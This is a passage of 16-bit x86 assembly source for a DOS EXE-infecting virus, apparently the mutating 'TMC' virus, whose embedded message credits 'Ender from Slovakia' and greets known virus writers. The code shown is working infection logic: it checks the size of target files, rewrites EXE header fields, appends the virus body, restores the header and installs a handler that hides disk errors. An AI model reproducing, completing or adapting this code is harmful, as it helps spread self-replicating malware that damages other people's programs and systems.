db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp dx,06h ; Filesize too large?
|
|
|
|
db 01110111b+10000000b ; Above? Jump to write_virus
|
|
dw 0fah ; Pointer to close_file
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push dx ; Save DX at stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,200h ; Divide by pages
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
div cx ; DX:AX = filesize in pages
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc ax ; Increase total number of 512-byt...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp [si+04h],ax ; Internal overlay?
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop dx ; Load DX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load AX from stack
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push dx ; Save DX at stack
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov [si+0ch],0ffffh ; Store maximum paragraphs to allo...
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov [si+10h],7ffeh ; Store initial SP
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov word ptr [si+14h],00h
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,10h ; Divide by paragraphs
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
div cx ; DX:AX = filesize in paragraphs
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
sub ax,[si+08h] ; Subtract header size in paragrap...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc ax ; Increase initial CS/SS relative ...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov [si+0eh],ax ; Store initial SS relative to sta...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov [si+16h],ax ; Store initial CS relative to sta...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,[si+04h] ; AX = total number of 512-byte pa...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc ax ; Increase total number of 512-byt...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov cl,05h ; Divide by thirty-two
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shl ax,cl ; AX = total number of 512-byte pa...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
sub ax,[si+08h] ; Subtract header size in paragrap...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
add ax,[si+0ah] ; Add maximum paragraphs to alloca...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov di,ax ; DI = minimum paragraphs to alloc...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop cx ; Load CX from stack (DX)
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop dx ; Load DX from stack (AX)
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
and dx,1111111111110000b
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
add dx,10h ; DX = low-order word of offset fr...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
adc cx,00h ; CX = high-order word of offset f...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,4200h ; Set current file position (SOF)
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 03h ; Three bytes instruction
|
|
|
|
add ax,1234h ; AX = length of virus
|
|
|
|
db 11101101b ; Data reference
|
|
dw 66h ; Pointer to virus_end
|
|
db 03h ; Three bytes instruction
|
|
|
|
adc dx,00h ; Convert to 32-bit
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,200h ; Divide by pages
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
div cx ; DX:AX = filesize in pages
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov [si+02h],dx ; Store number of bytes in last 51...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc ax ; Increase total number of 512-byt...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov [si+04h],ax ; Store total number of 512-byte p...
|
|
|
|
db 05h ; Five bytes instruction
|
|
|
|
mov [si+0ah],800h ; Store minimum paragraphs of memo...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc ax ; Store total number of 512-byte p...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov cl,05h ; Divide by thirty-two
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shl ax,cl ; AX = total number of 512-byte pa...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
sub ax,[si+08h] ; Subtract header size in paragrap...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
add ax,[si+0ah] ; Add maximum paragraphs to alloca...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[1234h],ax ; Store new size in paragraphs
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1393h ; Pointer to new_mcb_siz
|
|
db 02h ; Two bytes instruction
|
|
|
|
sub di,ax ; DI = additional minimum paragrap...
|
|
|
|
db 01110110b+10000000b ; Below or equal? Jump to dont_add...
|
|
dw 1396h ; Pointer to dont_add_mem
|
|
db 03h ; Three bytes instruction
|
|
|
|
add [si+0ah],di ; Add additional minimum paragraph...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1396h ; Pointer to dont_add_mem
|
|
db 11101111b ; End of block
|
|
dont_add_mem db 11101110b ; Beginning of block
|
|
dw 1396h ; Block identification of dont_add...
|
|
db 06h ; Six bytes instruction
|
|
|
|
mov word ptr ds:[01h],00h
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,40h ; Write to file
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor dx,dx ; Zero DX
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,1234h ; CX = length of virus
|
|
|
|
db 11101101b ; Data reference
|
|
dw 66h ; Pointer to virus_end
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor cx,cx ; CX = high-order word of offset f...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor dx,dx ; DX = low-order word of offset f...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,4200h ; Set current file position (SOF)
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,40h ; Write to file
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov dx,si ; DX = offset of exe_header
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,18h ; Write twenty-four bytes
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 138eh ; Pointer to set_file_inf
|
|
db 11101111b ; End of block
|
|
int24_virus db 11101110b ; Beginning of block
|
|
dw 1770h ; Block identification of int24_virus
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov al,03h ; Fail system call in progress
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
iret ; Interrupt return
|
|
|
|
db 11101111b ; End of block
|
|
exe_header db 11101110b ; Beginning of block
|
|
dw 138fh ; Block identification of exe_header
|
|
db 18h+10h ; Twenty-four bytes data
|
|
db 18h dup(00h) ; EXE header
|
|
db 11101111b ; End of block
|
|
file_time db 11101110b ; Beginning of block
|
|
dw 12ch ; Block identification of file_time
|
|
db 02h+10h ; Two bytes data
|
|
dw 00h ; File time
|
|
db 11101111b ; End of block
|
|
file_date db 11101110b ; Beginning of block
|
|
dw 12dh ; Block identification of file_date
|
|
db 02h+10h ; Two bytes data
|
|
dw 00h ; File date
|
|
db 11101111b ; End of block
|
|
message db 11101110b ; Beginning of block
|
|
dw 2328h ; Block identification of message
|
|
db (message_end-messag_begin)+10h
|
|
messag_begin db 0dh,0ah
|
|
db 0dh,0ah
|
|
db 'þ TMC 1.0 by Ender from Slovakia þ',0dh,0ah
|
|
db 'Welcome to the Tiny Mutation Compiler!',0dh,0ah
|
|
db 'Dis is level 42.',0dh,0ah
|
|
db 'Greetings to virus makers: Dark Avenger, Vyvojar, Hell Angel',0dh,0ah
|
|
db 'Personal greetings: K. K., Dark Punisher',0dh,0ah
|
|
db 0dh,0ah
|
|
message_end:
|
|
db 11101111b ; End of block
|
|
db 00h ; End of table
|
|
code_end:
|
|
table_end:
|
|
|
|
end code_begin
|